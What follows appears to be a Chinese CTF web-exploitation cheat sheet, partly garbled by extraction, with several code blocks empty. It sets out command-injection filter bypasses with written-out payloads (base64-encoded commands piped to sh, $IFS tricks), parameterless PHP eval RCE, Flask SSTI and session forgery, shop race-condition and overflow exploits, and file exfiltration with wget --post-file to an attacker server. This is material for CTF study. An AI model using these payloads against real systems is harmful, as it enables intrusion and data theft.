- python -m SimpleHTTPServer 80
/proc/self/environ
从文件读取环境变量- grep -ri flag . #recursive/insensitive grep flag string in current directory files
- 使用
$_REQUEST[]
接收参数的代码,如果同时使用GET和POST两种方式传相同类型的参数,那么POST的参数会覆盖掉GET的参数,最终$_REQUEST[]
接受的参数是POST过来的参数 - cat被过滤:
tac
,nl
,/???/c?t
,sort
,more
,less
,ca\t
,od -c /F[9-Q][9-Q]G
,tee
信息搜集
JSFinder爬虫形式,快速在网站的js文件中提取URL
PHP代码审计
直接命令执行
极限利用(限制可执行命令的长度和字符类型):Web-2,安恒月赛-2018-09
1 |
|
原理:利用通配符? * %
执行命令:/???/??? => /bin/cat
,利用模板渲染回显结果:<?=
?>
,完整利用步骤如下:
1 |
|
命令注入及绕过waf:ezsql(安恒月赛-2018-11),PingPingPing(GXY-CTF-2019)
-
分割命令用
;
或者逻辑运算符&&
:id;id
,id&&id
-
过滤空格:
base64<flag
,$IFS
,${IFS}
,$IFS$9
,%09
,<
#$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 -
过滤
/
:expr substr $(pwd) 1 1
-
过滤flag:base64方式
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
;bash方式?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
;两者结合1
2a=`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`;tac$IFS$9$a cat$IFS$9`ls`
-
反斜线转义 cat fla\g.php
-
两个单引号做分隔 cat fl’‘ag.php
-
base64编码绕过 echo Y2F0IGZsYWcucGhw base64 -d sh -
hex编码绕过 echo 63617420666c61672e706870 xxd -r -p bash -
glob通配符 cat f[k-m]ag.php cat f[l]ag.php
-
?和*
-
cat f{k..m}ag.php
-
定义变量做拼接 a=g.php; cat fla$a
-
内联执行cat echo 666c61672e706870 | xxd -r -p
或 cat $(echo 666c61672e706870xxd -r -p) 或 echo 666c61672e706870 xxd -r -p xargs cat
进制转换:Love-Math,CISCN-2019
1 |
|
无参函数RCE:禁止套娃(GXYCTF-2019),boring_code(bytectf-2019),过滤file/readfile
1 |
|
- Apache环境,利用getallheaders()
在HTTP头中加入:system('ls /tmp');
eval(end(getallheaders()))
- 其他环境
- 利用get_defined_vars()
eval(end(current(get_defined_vars())));&sky=system('ls%20/tmp');
当get_defined_vars返回的列表第一项是_GET
可用,否则需要array_rand(array_flip())遍历;end取最后一个元素的值system('ls%20/tmp')
。如果网站过滤了_GET/_POST/_COOKIE
,则需要从_FILES
下手:
1 |
|
- 利用session_id()和hex2bin
1 |
|
- 利用
scandir/dirname/chdir/getcwd
目录操作以及readfile/readgzfile/highlight_file
读文件操作
1 |
|
Smarty注入
1 |
|
ssrf
1 |
|
购物商城
条件竞争&整数溢出:itshop,护网杯-2018
一个账户的两个登陆同时买辣条,只会扣一次钱,却会得到两个辣条,利用burpsuite进行条件竞争。
整数溢出:
int: 2**32-1 = 4294967295
long: 2**63 -1 = 9223372036854775807
unsignedlong: 2**64-1 = 18446744073709551615
由于5个辣条兑换1个辣条之王,构造兑换数量,使兑换数量*5溢出,小于已有辣条数量即可,因此兑换数量为:
1 |
|
伪造购物用户:ezshop,安恒月赛-2018-10
查询数据库user表,查到admin的用户id,订单支付的时候,将当前用户id修改为admin的用户id,伪造签名,从而使用admin的账号代为支付。
Python站
input命令执行:babymaze2_beta,纵横杯-2020
1 |
|
flask-session伪造:留言板,中原工学院-2018
利用Flask-session Cookie Decoder/Encoder伪造admin的cookie,必须使用python3
。
1 |
|
flask之ssti模板注入:(flask,NCTF-2019),(EasyFlask,安恒月赛-2020-02)
成因:代码中使用render_template_string
代替render_template
,直接调用用户输入作为模板,当用户输入中包含``则会作为模板解释,从而导致注入。
利用:通过''
,[]
,()
等数据结构,配合__class__.__mro__[2]
或者.__class__.__bases__[0]
找到父类object类,再通过__subclasses__()
找到可用子类(FILE (40)或warnings.WarningMessage (59)),结合相应的函数,如读文件或系统调用,进行利用:
1 |
|
Shell命令
echo,grep,wget:(magic_download,纵横杯-2020)
传入IP,通过echo,grep作正则判断,满足要求grep "^[0-9\.]\{7,15\}$"
之后才执行wget。
echo可以传入-e
使其处理特殊字符,比如:\n
,则可以通过传入换行符,使得正则匹配匹配到其中符合条件全为ip的一行。
再通过wget –post-file将需要读的目标文件上传到我们自己预先设置好的http服务器。
1 |
|